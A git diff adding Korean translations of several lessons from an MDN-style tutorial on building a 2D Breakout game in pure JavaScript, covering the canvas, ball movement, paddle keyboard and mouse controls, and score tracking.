{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}

+ +
+

이 레슨은 Gamedev Canvas tutorial.의 10개 중 9 번째 단계입니다. 당신은 Gamedev-Canvas-workshop/lesson9.html. 이 소스코드에서 이 수업의 교훈을 찾을 수 있습니다.

+
+ +

경기 자체가 사실상 끝났으므로, 이를 다듬는 작업을 해봅시다. 우리는 이미 키보드로 조종하는 코드를 추가했지만 마우스 조종하는 코드를 쉽게 추가할 수 있습니다.

+ +

마우스 이동 감지하기

+ +

마우스 움직임을 감지하기 위해 감지를 하는 것은 키 감지를 하는 것보다 훨씬 더 쉽습니다. 우리가 필요한 것은 {{event("mousemove")}} 이 이벤트 감지입니다. 이 keyup event 바로 아래에 이 행을 추가하십시오.

+ +
document.addEventListener("mousemove", mouseMoveHandler, false);
+ +

마우스 움직임에 따라 패들 이동 하기

+ +

포인터 좌표에 따라 패들 위치를 업데이트를 할 수 있습니다. 다음과 같은 핸들러 기능을 정확하게 할 것입니다. 추가한 이전 줄 아래에 다음 함수를 추가하십시오:

+ +
function mouseMoveHandler(e) {
+    var relativeX = e.clientX - canvas.offsetLeft;
+    if(relativeX > 0 && relativeX < canvas.width) {
+        paddleX = relativeX - paddleWidth/2;
+    }
+}
+ +

이 함수에서 우리는 먼저 상대적인 relativeX 를 구합니다. 이 값은 뷰포트(e.clientX)와 캔버스 왼쪽 가장자리 (canvas.offsetLeft) 사이의 거리에 마우스 위치를 뺀 값입니다. 상대적인 X 포인터 위치가 0보다 크고 캔버스 폭보다 적으면 포인터가 경계 내에 있게 되고, paddleX의 위치(패들 왼쪽 가장자리에 배치되어 있다)는 패들 width의 반을 뺀 relativeX의 값으로 설정되므로 이동은 실제로 패들 가운데 상대적으로 이동이 됩니다.

+ +

이제 패들은 마우스 커서의 움직임을 따르겠지만, 움직임을 캔버스 크기로 제한하고 있기 때문에 어느 쪽에서도 완전히 사라지지 않을 것입니다.

+ +

코드 비교하기

+ +

지금까지 해왔던 코드를 한번 비교해보세요.

+ +

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/vt7y5hcp/","","395")}}

+ +
+

Exercise: 패들이 캔버스 양쪽 가장자리에서 반만 잘려나가 보일 것 입니다. 패들 이동 제한 경계를 조정해 보세요.

+
+ +

다음 단계

+ +

이제 우리는 완전한 게임을 할 수 있게 되었습니다. 우리는 몇 가지 작은 코드만으로 이 레슨을 마치게 될 것 입니다! — Finishing up. (마지막)

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/paddle_and_keyboard_controls/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/paddle_and_keyboard_controls/index.html" new file mode 100644 index 0000000000..47cde1be4e --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/paddle_and_keyboard_controls/index.html" @@ -0,0 +1,122 @@ +--- +title: Paddle과 키보드 컨트롤 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/")}}
+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over")}}

+ +
+

이 글은 Gamedev Canvas tutorial의 10단계 중 4단계 입니다. 이 글을 다 읽고 난 뒤 완성된 소스코드는 Gamedev-Canvas-workshop/lesson4.html 에서 확인할 수 있습니다.

+
+ +

공이 계속해서 벽을 튕기며 이동하는 모습을 볼 수 있지만, 현재로서는 그것을 컨트롤 할 방법이 없습니다. 컨트롤 할 수 없으면 게임이 아니죠! paddle을 컨트롤 할 수 있는 몇가지 상호작용을 추가해 봅시다.

+ +

공을 치기 위한 paddle 정의

+ +

먼저, 우리는 공을 치기 위한 paddle이 필요합니다. 이를 위해 몇가지 변수들을 정의합시다. 코드 상단에 다른 변수들과 함께 아래 변수들을 추가하세요:

+ +
var paddleHeight = 10;
+var paddleWidth = 75;
+var paddleX = (canvas.width-paddleWidth)/2;
+ +

여기에서 paddle의 높이와 너비, 그리고  x 축 위에 시작 지점을 정의합니다. paddle을 스크린에 그리는 함수를 만듭시다. drawBall() 함수 아래에 다음 코드를 추가하세요:

+ +
function drawPaddle() {
+    ctx.beginPath();
+    ctx.rect(paddleX, canvas.height-paddleHeight, paddleWidth, paddleHeight);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}
+ +

유저의 paddle 컨트롤

+ +

paddle은 우리가 원하는 곳 어디든 그릴 수 있지만, 사용자의 컨트롤에 반응해야 합니다. — 키보드 컨트롤을 구현합시다. 다음 내용이 필요합니다.:

+ + + +

버튼을 누르는 것은 boolean 변수로 정의하고 초기화 합니다. 아래 코드를 변수 선언 부분에 추가하세요. :

+ +
var rightPressed = false;
+var leftPressed = false;
+ +

처음에는 컨트롤 버튼이 눌려지지 않은 상태이므로 두개의 기본값은 false 입니다. 키가 눌렸음을 인식하기 위해, 이벤트 리스너를 설정합니다. 자바스크립트 하단에 setInterval() 바로 위에 아래 코드를 추가합니다.:

+ +
document.addEventListener("keydown", keyDownHandler, false);
+document.addEventListener("keyup", keyUpHandler, false);
+ +

키보드 중 어떤 키 하나가 눌려서 keydown 이벤트가 발생하면, keyDownHandler() 함수가 실행됩니다. 두번째 리스너에도 같은 패턴이 적용됩니다: 키에서 손을 때면 keyup 이벤트가 keyUpHandler() 함수를 실행합니다 . addEventListener() 아래에 다음 코드를 추가하세요:

+ +
function keyDownHandler(e) {
+    if(e.keyCode == 39) {
+        rightPressed = true;
+    }
+    else if(e.keyCode == 37) {
+        leftPressed = true;
+    }
+}
+
+function keyUpHandler(e) {
+    if(e.keyCode == 39) {
+        rightPressed = false;
+    }
+    else if(e.keyCode == 37) {
+        leftPressed = false;
+    }
+}
+ +

키를 누르면 변수에 정보가 저장됩니다. 각 경우에 관련된 변수가 true 로 설정됩니다. 키에서 손을 때면, 변수값은 false로 되돌아갑니다.

+ +

두 함수 모두 e 변수로 표시되는 이벤트를 파라미터로 사용합니다. 이것으로 유용한 정보를 얻을 수 있습니다: keyCode 는 눌려진 키에 대한 정보를 가지고 있습니다. 예를 들어 키 코드 37 은 왼쪽 방향키이고 39 는 오른쪽 방향키 입니다. 만약에 왼쪽 방향키를 누르면, leftPressed 변수가 true 로 설정되고, 왼쪽 방향키에서 손을 때면 leftPressed 변수가 false로 설정됩니다. 오른쪽 방향키와 rightPressed 변수에도 동일한 패턴이 적용됩니다.

+ +

Paddle 이동 로직

+ +

이제 우리는 눌려진 키, 이벤트 리스너, 관련된 함수에 대한 정보를 저장할 변수를 가지고 있습니다. 이제 실제 코드를 사용하여 이것들을 사용하고 paddle을 화면에서 움직여봅시다. draw() 함수에서, 각각의 프레임이 렌더링 될때마다 왼쪽이나 오른쪽 방향키가 눌려졌는지 확인합니다. 코드는 아래와 같습니다:

+ +
if(rightPressed) {
+    paddleX += 7;
+}
+else if(leftPressed) {
+    paddleX -= 7;
+}
+ +

만약 왼쪽 방향키를 누르면, paddle은 좌측으로 7픽셀 움직이고, 오른쪽 방향키를 누르면, 우측으로 7픽셀 움직입니다. 잘 작동하지만, 키를 너무 오래 누르고 있으면 paddle이 캔버스 밖으로 사라집니다. 아래처럼 코드를 수정해서 paddle이 캔버스 안에서만 움직이도록 개선합니다:

+ +
if(rightPressed && paddleX < canvas.width-paddleWidth) {
+    paddleX += 7;
+}
+else if(leftPressed && paddleX > 0) {
+    paddleX -= 7;
+}
+ +

paddleX 의 위치는 캔버스 왼쪽 끝 0 위치와 오른쪽 canvas.width-paddleWidth 에서 움직입니다.

+ +

위의 코드를 draw() 함수 아래쪽에 추가합니다.

+ +

이제 paddle이 화면에서 실제로 그려지도록 draw() 함수 안에서 drawPaddle() 을 호출합니다.  draw() 함수 안에  drawBall() 아래에 다음 코드를 추가합니다:

+ +
drawPaddle();
+
+ +

여러분의 코드와 비교해보세요

+ +

여기 움직이는 코드를 확인해보세요:

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/tgn3zscj/","","395")}}

+ +
+

Exercise: paddle의 움직임을 빠르거나 느리게, 혹은 사이즈를 변경해보세요.

+
+ +

다음 단계

+ +

게임과 비슷해지긴 했지만 한가지 문제는 게임이 끝나지 않는다는 것입니다. 5단계에서 Game over를 추가할 것입니다.

+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over")}}

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/track_the_score_and_win/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/track_the_score_and_win/index.html" new file mode 100644 index 0000000000..76883a1655 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/track_the_score_and_win/index.html" @@ -0,0 +1,100 @@ +--- +title: Track the score and win +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Track_the_score_and_win +tags: + - Canvas + - Games + - JavaScript +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

+ +
+

이번 단계는  Gamedev Canvas tutorial 의 8번째 단계입니다.  Gamedev-Canvas-workshop/lesson8.html 에서 이번 단계의 소스 코드를 확인할 수 있습니다.

+
+ +

벽돌 깨기 기능은 잘 작동한다. 하지만 더 나은 게임이 되기 위해서, 유저가 벽돌을 깰 때마다 점수를 얻고, 그 점수를 기록하는 Score 기능을 만든다.

+ +

점수 계산하기

+ +

게임 안에 점수 기능이 있다면, 친구들이 더 좋아할 것이다. 그러기 위해서는 점수를 기록할 변수가 필요합니다. 작성중인 JS파일의 변수 영역의 하단에, 아래 코드를 추가하자.

+ +
var score = 0;
+ +

점수 화면을 만들고, 업데이트를 하기 위해서 drawScore() 함수가 필요하다. 아래 코드를 collisionDetection() 함수 아래에 추가하자.

+ +
function drawScore() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Score: "+score, 8, 20);
+}
+ +

텍스트를 캔버스 안에 그리는 것은 도형을 그리는 작업과 비슷하다. 폰트를 정의하는 것은 CSS에서의 작업과 같다. — {{domxref("CanvasRenderingContext2D.font","font()")}} 함수에서 크기와 타입을 설정할 수 있다. 그런 다음 {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} 함수를 사용하여 글꼴의 색상을 설정하고 {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} 함수를 이용해서 캔버스에 배치 될 실제 텍스트와 배치 위치를 설정하는 데 사용한다. 첫 번째 매개 변수는 텍스트 자체다. 위의 코드는 현재 점의 수를 나타내며 마지막 두 매개 변수는 텍스트가 캔버스에 배치 될 좌표이다.

+ +

벽돌이 깨질 때마다 점수 변수의 값을 증가 시키기 위해서 collisionDetection() 함수에 강조 표시된 코드를 입력하여 수정한다.

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                    score++;
+                }
+            }
+        }
+    }
+}
+ +

draw() 함수 안에서 위 함수를 호출하면 호출 될 때마다 다시 그리기 때문에 점수 변동을 확인할 수 있다. draw() 아래 코드를  drawPaddle() 아래에서 호출한다.

+ +
drawScore();
+ +

모든 벽돌이 파괴되었을 때 승리 메시지 표시

+ +

점수가 오르는 것은 좋지만, 평생 점수가 올라가진 않을 것이다. 모든 벽돌의 파괴가 결국 게임의 주된 목적이기 때문에 모든 점수를 얻는다면  승리 메시지를 표시해야한다.  collisionDetection()함수에 강조된 코드를 붙여넣는다.

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                    score++;
+                    if(score == brickRowCount*brickColumnCount) {
+                        alert("YOU WIN, CONGRATULATIONS!");
+                        document.location.reload();
+                    }
+                }
+            }
+        }
+    }
+}
+ +

결국 사용자는 모든 벽돌을 파괴 한 순간, 실제로 게임에서 승리 할 수 ​​있다. 이는 게임과 관련하여 굉장히 중요하다. document.location.reload()기능은 페이지를 다시로드하고 경고를 클릭하면 게임을 다시 시작한다.

+ +

코드 비교

+ +

최종 코드는 아래와 같다. 지금까지 작성한 코드와 비교해보자.

+ +

 

+ +

{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/2m74vr9r/1/","","395")}}

+ +
+

추가학습: 벽돌을 깰 때마다 얻는 점수를 늘리고,  게임 클리어 시 최종 점수를 경고창에 표시해보자.

+
+ +

다음 단계

+ +

게임은 현재 꽤 멋지게 보인다. 다음 단계에서는,  Mouse controls (마우스로 패들 조종하는 방법) 을 통해서 게임을 즐길 수 있습니다.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/\352\263\265_\354\233\200\354\247\201\354\235\264\352\270\260/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/\352\263\265_\354\233\200\354\247\201\354\235\264\352\270\260/index.html" new file mode 100644 index 0000000000..5a8b02904e --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/\352\263\265_\354\233\200\354\247\201\354\235\264\352\270\260/index.html" @@ -0,0 +1,145 @@ +--- +title: 공 움직이기 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기 +tags: + - 2D + - 게임 + - 루프 + - 비기너 + - 움직임 + - 자바스크립트 + - 캔버스 + - 튜토리얼 +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games")}}
+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls")}}

+ +
+

이 강의는 게임 개발 캔버스 튜토리얼의 10단계 중 두 번째 과정입니다.  Gamedev-Canvas-workshop/lesson2.html에서 이 강의의 완성된 코드를 볼 수 있습니다.

+
+ +

여러분은 이전 과정에서 어떻게 공이 그려지는지 배웠습니다. 이젠 공을 움직이게 만들어보죠! 기술적으로는 화면에 공을 그렸다가 지우는 과정을 반복하게 되는데, 매 프레임마다 공의 위치를 조금씩 다르게 해서 그리면 공이 움직이는것 처럼 보이게 됩니다. 마치 영화 화면이 움직이는 방식처럼 말이죠!

+ +

드로잉 루프를 정의하기

+ +

매 프레임마다 캔버스에 그리는것을 지속적으로 갱신하기 위해서는, 계속해서 그리는 것을 반복하게 만들어주는 함수가 필요합니다. 이 함수는 매 프레임마다 위치를 바꿔주기 위한 몇가지 변수들을 포함합니다.  JavaScript 타이밍 함수인 {{domxref("WindowTimers.setInterval()", "setInterval()")}}나 {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}를 이용하면 함수를 몇번이고 계속 반복해서 실행할 수 있습니다..

+ +

현재 여러분의 HTML파일 안에 있는 JavaScript중에 처음 두 줄만 제외하고 나머지는 모두 지워주세요. 지운 후에는 아래에 있는 코드를 추가해주세요. draw()함수는 setInterval를 통해서 10밀리초마다 실행됩니다.

+ +
function draw() {
+    // drawing code
+}
+setInterval(draw, 10);
+ +

무한히 작동하는 setInterval 함수 덕에, draw() 함수는 우리가 멈추기 전 까지 10밀리초마다 영원히 호출됩니다. 이제 공을 그려봅시다! 다음 코드를 여러분의 draw() 함수 안에 추가해주세요.

+ +
ctx.beginPath();
+ctx.arc(50, 50, 10, 0, Math.PI*2);
+ctx.fillStyle = "#0095DD";
+ctx.fill();
+ctx.closePath();
+
+ +

이제 바뀐 코드를 실행해 보세요. 공은 매 프레임마다 다시 그려지게 됩니다.

+ +

움직이게 만들기

+ +

공이 움직이지 않고 있기 때문에, 여러분은 공이 다시 그려지고 있다는 사실을 알아챌 수 는 없었을 것입니다. 이제 공을 움직이게 바꿔봅시다. 첫 번째로, (50,50)이라는 지정된 좌표 대신에, x와 y라는 변수를 이용해서 화면 하단 중앙에서 그려지도록 하겠습니다. 

+ +

x와 y를 정의하기 위해서 다음 두 줄을 여러분의 draw() 함수위에 추가해주세요.

+ +
var x = canvas.width/2;
+var y = canvas.height-30;
+
+ +

그 다음에는 draw() 함수를 갱신할 것입니다. 아래 코드에서 강조된 줄에서 처럼, {{domxref("CanvasRenderingContext2D.arc()","arc()")}}메소드안에서 x와 y 변수를 사용하게 됩니다.

+ +
function draw() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}
+
+ +

이제 중요한 부분입니다. 공을 움직이는 것을 표현하기 위해 x와 y에 작은 값을 매 프레임마다 더해줄 것입니다. 그 작은 값을 dx와 dy라 정의하고, 각각 2와 -2로 그 값을 정해보겠습니다. 다음 코드를 여러분의 x와 y변수가 정의된 코드 아래에 추가하세요.

+ +
var dx = 2;
+var dy = -2;
+
+ +

마지막으로 할 일은 dx와 dy변수를 이용해서 매 프레임마다 x와 y변수를 갱신해 주는 것입니다. 그렇게 하면 매 갱신마다 공은 새 위치에 그려지게 됩니다. 다음 코드에 표시된 새로운 두 줄의 코드를 여러분의 draw() 함수에 추가해주세요.

+ +
function draw() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+    x += dx;
+    y += dy;
+}
+ +

여러분의 코드를 다시 저장하고, 브라우저를 열어 실행해보세요. 공은 잘 움직이는군요. 뒤에 흔적이 남기는 하지만 말이죠.

+ +

+ +

다음 프레임 전에 캔버스를 지우기

+ +

공이 흔적을 남기는 것은, 매 프레임마다 공을 그릴 때 이전 프레임을 지워주지 않았기 때문입니다. 하지만 걱정할 것은 없습니다. 캔버스의 내용들을 지워주기 위한 메소드인 {{domxref("CanvasRenderingContext2D.clearRect()","clearRect()")}}가 있으니까요. 이 메소드는 네 개의 파라미터가 필요합니다. 직사각형의 좌상단 모서리를 표시할 x와 y좌표, 그리고 직사각형의 우하단 모서리를 표시할 x와 y좌표가 바로 그것이죠. 이 좌표들로 생기는 사각형 안에 있는 것들은 전부 지워지게 될 것입니다.

+ +

다음 코드에서 강조된 새로운 한줄의 코드를 draw() 함수에 추가하세요.

+ +
function draw() {
+    ctx.clearRect(0, 0, canvas.width, canvas.height);
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+    x += dx;
+    y += dy;
+}
+
+ +

여러분의 코드를 저장하고, 다시 실행해보세요. 이번에는 흔적없이 공이 움직이는 것을 보실 수 있을 것입니다. 매 10밀리초마다 캔버스는 지워지고, 새로운 x와 y값의 좌표를 가지는 공이 다음 프레임에 그려지게 되는 것이죠.

+ +

코드 정리하기

+ +

다음 강좌에서도 계속해서 몇가지 명령들을 draw() 함수에다 추가해야 합니다. 그렇기 때문에 코드를 최대한 간단하고 깨끗하게 유지하는 것이 좋습니다. 공을 움직이는 코드를 분리된 함수로 옮기는 것 부터 시작해보죠!

+ +

현재의 draw() 함수를 다음의 분리된 두 함수로 바꿔주세요.

+ +
function drawBall() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}
+
+function draw() {
+    ctx.clearRect(0, 0, canvas.width, canvas.height);
+    drawBall();
+    x += dx;
+    y += dy;
+}
+ +

여러분의 코드와 비교해보세요

+ +

아래의 라이브 데모에서 이 강의의 완성된 코드를 확인할 수 있습니다. 어떻게 작동하는지 더 잘 이해하기 위해 플레이 해보세요.

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/3x5foxb1/","","415")}}

+ +
+

연습해보기: 움직이는 공의 속도를 바꾸거나, 움직이는 방향을 바꿔보세요.

+
+ +

다음 단계로

+ +

우리는 공을 그리고 움직이게 만들었지만, 캔버스 모서리 밖으로 사라져버립니다. 세 번째 챕터에서는 공이 벽으로부터 튕겨 나오기 위한 방법을 알아볼 것입니다.

+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls")}}

diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/\354\272\224\353\262\204\354\212\244_\354\203\235\354\204\261\352\263\274_\352\267\270\353\246\254\352\270\260/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/\354\272\224\353\262\204\354\212\244_\354\203\235\354\204\261\352\263\274_\352\267\270\353\246\254\352\270\260/index.html" new file mode 100644 index 0000000000..a7f1ed4130 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/\354\272\224\353\262\204\354\212\244_\354\203\235\354\204\261\352\263\274_\352\267\270\353\246\254\352\270\260/index.html" @@ -0,0 +1,114 @@ +--- +title: 캔버스 생성과 그리기 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기 +tags: + - 2D + - 게임 + - 비기너 + - 자바스크립트 + - 캔버스 + - 튜토리얼 +translation_of: >- + Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games")}}
+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기")}}

+ +
+

이 강의는 게임 개발 캔버스 튜토리얼의 10단계 중 첫 번째 과정입니다. Gamedev-Canvas-workshop/lesson1.html에서 이 강의의 완성된 코드를 볼 수 있습니다.

+
+ +

게임의 기능들을 작성하기 전에, 게임 내부에 렌더링 하기 위한 기본 구조들을 HTML과 {{htmlelement("canvas")}} 엘리먼트를 사용하여 만들어야 합니다.

+ +

게임의 HTML

+ +

HTML문서 구조는 꽤 간단합니다. 게임은 {{htmlelement("canvas")}} 엘리먼트에 렌더링됩니다. 여러분이 좋아하는 텍스트 에디터로 새로운 HTML 문서를 생성하여 index.html로 저장하고, 아래 코드를 추가하세요.

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8" />
+    <title>Gamedev Canvas Workshop</title>
+    <style>
+    	* { padding: 0; margin: 0; }
+    	canvas { background: #eee; display: block; margin: 0 auto; }
+    </style>
+</head>
+<body>
+
+<canvas id="myCanvas" width="480" height="320"></canvas>
+
+<script>
+	// JavaScript 코드가 여기에 들어갈 것입니다.
+</script>
+
+</body>
+</html>
+
+ +

{{htmlelement("head")}} 에는 문자셋이 정의되어 있고, {{htmlelement("title")}}과 몇가지 기본적인 CSS가 있습니다. {{htmlelement("body")}}는 {{htmlelement("canvas")}} 와 {{htmlelement("script")}}를 포함하고 있습니다. {{htmlelement("canvas")}}에는 게임이 렌더되고, {{htmlelement("script")}}에는 JavaScript가 들어갑니다. {{htmlelement("canvas")}}엘리먼트는 쉽게 참조하기 위해 id로 myCanvas를 갖고 있고, 480픽셀의 길이와 320픽셀의 높이를 갖도록 되어있습니다. 우리가 이 튜토리얼에서 작성하게될 모든 JavaScript 코드는 <script>와  </script> 태그 사이에 들어가게 됩니다.

+ +

캔버스 기본

+ +

실제로 {{htmlelement("canvas")}}엘리먼트 위에 그래픽을 렌더링하기 위해서는 JavaScript로 참조할 수 있게 만들어야 합니다. 다음 코드를 여러분의 <script> 태그 다음에 추가하세요..

+ +
var canvas = document.getElementById("myCanvas");
+var ctx = canvas.getContext("2d");
+ +

{{htmlelement("canvas")}} 엘리먼트에 대한 참조를 canvas 변수에 저장하였습니다. 그러고 나서는 캔버스에 그리기 위해 실질적으로 사용되는 도구인 2D rendering context를 ctx 변수에 저장하고 있습니다.

+ +

캔버스에 빨간색 네모를 그리는 짧은 예제 코드를 작성해봅시다. 바로 직전의 JavaScript 코드 아래에 다음 코드를 추가하고 index.html을 브라우저에서 열어 보세요.

+ +
ctx.beginPath();
+ctx.rect(20, 40, 50, 50);
+ctx.fillStyle = "#FF0000";
+ctx.fill();
+ctx.closePath();
+ +

{{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}}와 {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}}메소드 사이에 모든 명령어가 들어갑니다. 우리는 {{domxref("CanvasRenderingContext2D.rect()","rect()")}}를 이용해서 직사각형을 정의했는데, 처음 두 값들은 캔버스의 좌상단 모서리로 부터의 좌표를 의미하고, 나머지 두 값은 직사각형의 너비와 높이를 의미합니다. 위 코드에서 직사각형은 캔버스 좌측에서 20픽셀 떨어져있고, 캔버스 상단에서 40픽셀만큼 아래로 떨어져 있습니다. 그리고 너비와 높이는 각각 50픽셀로 설정되어 완벽한 정사각형으로 그려지고 있습니다. {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}}은  {{domxref("CanvasRenderingContext2D.fill()","fill()")}}메소드에서 칠해질 색상 값을 갖게 됩니다. 위 코드에서는 사각형을 빨간색으로 칠하고 있습니다.

+ +

직사각형만 그릴 수 있는 것은 아닙니다. 이번에는 초록색 원을 그려보겠습니다. 아래의 코드를 여러분의 JavaScript의 마지막에 추가하고, 저장한 이후에 페이지를 새로고침 해보세요.

+ +
ctx.beginPath();
+ctx.arc(240, 160, 20, 0, Math.PI*2, false);
+ctx.fillStyle = "green";
+ctx.fill();
+ctx.closePath();
+ +

